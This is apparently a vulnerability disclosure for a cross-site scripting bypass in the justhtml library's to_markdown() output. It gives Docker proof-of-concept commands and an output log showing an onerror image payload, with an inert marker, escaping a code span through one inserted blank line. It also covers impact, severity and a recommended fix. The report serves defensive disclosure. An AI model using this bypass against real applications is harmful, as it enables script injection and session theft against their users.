Details
Build and run:
docker build -t justhtml-md-poc ./poc
docker run --rm justhtml-md-poc
Observed output (justhtml 1.21.0, markdown-it-py 4.2.0):
=== Versions under test ===
Name: justhtml
Version: 1.21.0
Name: markdown-it-py
Version: 4.2.0
Delta between control and exploit: exactly one blank line (\n\n)
inserted into otherwise identical <code> text.
== CONTROL (payload in <code>, NO blank line) ==
1. input HTML : '<code>q<img src=x onerror=__POC_XSS_MARKER__()></code>'
2. to_markdown() out : '`q<img src=x onerror=__POC_XSS_MARKER__()>`'
3. CommonMark render : '<p><code>q<img src=x onerror=__POC_XSS_MARKER__()></code></p>'
4. live JS sinks : NONE (inert)
== EXPLOIT (payload in <code>, + blank line) ==
1. input HTML : '<code>q\n\n<img src=x onerror=__POC_XSS_MARKER__()></code>'
2. to_markdown() out : '`q\n\n<img src=x onerror=__POC_XSS_MARKER__()>`'
3. CommonMark render : '<p>`q</p>\n<p><img src=x onerror=__POC_XSS_MARKER__()>`</p>'
4. live JS sinks : [('img', 'onerror', '__POC_XSS_MARKER__()')]
== VERDICT ==
BYPASS CONFIRMED.
The blank line terminated the inline code span; sanitized code
text became a LIVE handler-bearing element: ('img', 'onerror', '__POC_XSS_MARKER__()')
The control (no blank line) stayed inert inside <code>.
The exploit is byte-identical to the inert control plus a single blank line
(\n\n). Deterministic: same input → same result.
Optional execution confirmation (docker run --rm justhtml-md-poc python3 /poc/poc.py --prove-exec)
— supplementary; the parse proof above is canonical. Inert marker only:
== --prove-exec (supplementary, container-only) ==
materialized handler JS: '__POC_XSS_MARKER__()'
JS engine result: 'XSS-EXECUTED' -> attacker JS executed
Impact
This is a cross-site scripting vulnerability (CWE-79). It affects any application that follows the documented pipeline: sanitize untrusted HTML with JustHTML(...) under default settings, call to_markdown(), and render the result with a CommonMark-compliant renderer (raw-HTML passthrough is the CommonMark default).
An attacker only needs to control HTML text inside a <code> element, or a <pre> element within a link — no custom policy and no sanitize=False. Any user who then views the rendered page executes attacker-controlled script in their own origin, enabling cookie/session theft or actions performed as the victim.
Severity: CVSS 3.1 6.1 (Moderate),CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. Scope is Changed: the injected script runs in the origin of the page that renders the Markdown, a different security authority than the library that produced it.
Recommended fix
Do not represent text containing a block boundary as an inline code span. In _markdown_code_span / the <code> and in-link <pre> dispatch (src/justhtml/node.py:1061-1078), if the content contains a blank line (or any \n), emit it as a fenced code block — reusing the existing block path at lines 1066-1074, whose fence is not broken by blank lines — or collapse newlines in inline-code content. As defense-in-depth, escape HTML/Markdown-significant characters in code-span bodies rather than relying on fence length alone, matching the existing text-node escaping already applied elsewhere.
Resources
- CWE-79 — https://cwe.mitre.org/data/definitions/79.html
- CWE-116 — https://cwe.mitre.org/data/definitions/116.html
- Affected source (tag
v1.21.0):src/justhtml/node.py:32-41(_markdown_code_span),src/justhtml/node.py:1061-1078(<pre>/<code>dispatch). - CommonMark spec — code spans are inline and cannot contain a blank line; raw HTML is passed through by default: https://spec.commonmark.org/0.31.2/#code-spans
- Novelty: same vulnerability class as two prior, already-fixed
to_markdown()advisories but a distinct, still-unfixed variant. The earlier fixes address (a) HTML-escaping of plain text nodes and (b) backtick-fence length for<pre>code blocks. Neither addresses a blank-line break of an inline code span: fence length is irrelevant to a block-boundary break, and code-span bodies are not HTML-escaped. The cited dispatch and helper are unchanged atv1.21.0, andorigin/main == v1.21.0(no embargoed fix).